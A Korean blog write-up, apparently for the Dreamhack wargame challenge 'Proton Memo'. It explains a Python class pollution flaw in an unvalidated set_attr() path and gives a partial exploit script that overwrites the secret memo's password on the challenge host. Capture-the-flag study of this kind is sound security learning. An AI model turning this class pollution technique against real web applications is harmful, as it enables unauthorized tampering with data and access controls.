-
Prob
set_attr() 함수에서 selected_option 에 값에 대한 검증이 없어서
collections.{secret_memo_id}.password 이런 식으로 attribute 에 접근이 가능합니다.
이를 통해 secret_memo의 password를 변조 시킬 수 있는 취약점이 발생합니다.
따라서 아래 익스 코드와 같이 python class pollution을 통해 풀 수 있습니다.
Class Pollution (Python's Prototype Pollution) - HackTricks
So, if you can do a class pollution over an object defined in the main python file of the web but whose class is defined in a different file than the main one. Because in order to access __globals__ in the previous payloads you need to access the class of
book.hacktricks.xyz
Exploit
import re import requests url = "http://host3.dreamhack.games:9259/" def new_memo(): {직접 작성해보세요} def change_secret_pw(id): data = {'selected_option': '','edit_data': 'a665a45920422f9d417e4867efdc4fb8a04a1f3fff1fa07e998e86f7f7a27ae3','password': '123'} data['selected_option'] = 'collections.{}.password'.format(id[0]) res = requests.post(url=url+"edit/"+id[1], data=data) if "Memo List" in res.text: print("[+] secret memo password changed") def read_flag(id): {직접 작성해보세요} if __name__ == "__main__": id = new_memo() change_secret_pw(id) read_flag(id)
Proton Memo
Description 기본적인 기능만 존재하는 메모 앱입니다. 플래그를 얻기 위해 비밀 메모를 읽어주세요!
dreamhack.io
'Wargame > Dreamhack' 카테고리의 다른 글
[Dreamhack] Blind Board (0) 2023.03.30 [Dreamhack] cookie (OFFICIAL) (0) 2022.05.03 [Dreamhack] pathtraversal (OFFICIAL) (0) 2022.05.03 댓글